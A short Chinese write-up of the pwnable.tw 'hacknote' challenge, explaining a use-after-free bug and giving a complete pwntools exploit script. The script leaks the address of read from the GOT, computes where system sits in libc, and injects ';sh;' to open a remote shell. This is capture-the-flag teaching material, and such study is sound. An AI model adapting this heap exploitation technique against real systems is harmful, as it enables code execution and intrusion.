pwn-uaf

pwn-use after free

uaf存在的原因就是free以后的堆指针没有置0,导致在某些情况下可以实现利用。

这道题是pwnable.tw上的hacknote,题目有add,delete,print note三个功能,其中add一个note,申请了两个堆块,一个堆块固定8字节,前4字节是puts出申请的第二个堆块的内容,后4个字节指向申请的第二个堆块,大小随意。思路就是我们需要让写的内容能覆盖申请的第一个8字节堆块,然后改写堆块内容,从而打印got表地址,执行system,获取shell。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#p = process('./hacknote')
p = remote("chall.pwnable.tw",10102)
elf = ELF('./hacknote')
#libc = ELF('./libc.so.6')
libc = ELF('./libc_32.so.6')

print_addr = 0x804862B
read_got = elf.got['read']
payload = p32(print_addr) + p32(read_got)

#add 0
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("16")
p.recvuntil("Content :")
p.sendline("123456")
#add 1
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("16")
p.recvuntil("Content :")
p.sendline("234567")
#delete 1 0
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline("1")
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline("0")
#add 2
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("8")
p.recvuntil("Content :")
p.sendline(payload)
#print 1
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline("1")
#recv real address of read
#read_addr = u32(p.recvline()[-5:-1])
read_addr = u32(p.recv(4))
log.info(hex(read_addr))

system_addr = read_addr + libc.symbols['system'] - libc.symbols['read']
log.info(hex(system_addr))

#delete 2
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline("2")
#payload2
payload2 = flat([system_addr, ";sh;"]) # p32(system_addr) + "\x3b\x73\x68\x3b"

#add 4
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("8")
p.recvuntil("Content :")
p.sendline(payload2)

#call system
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline("1")
p.interactive()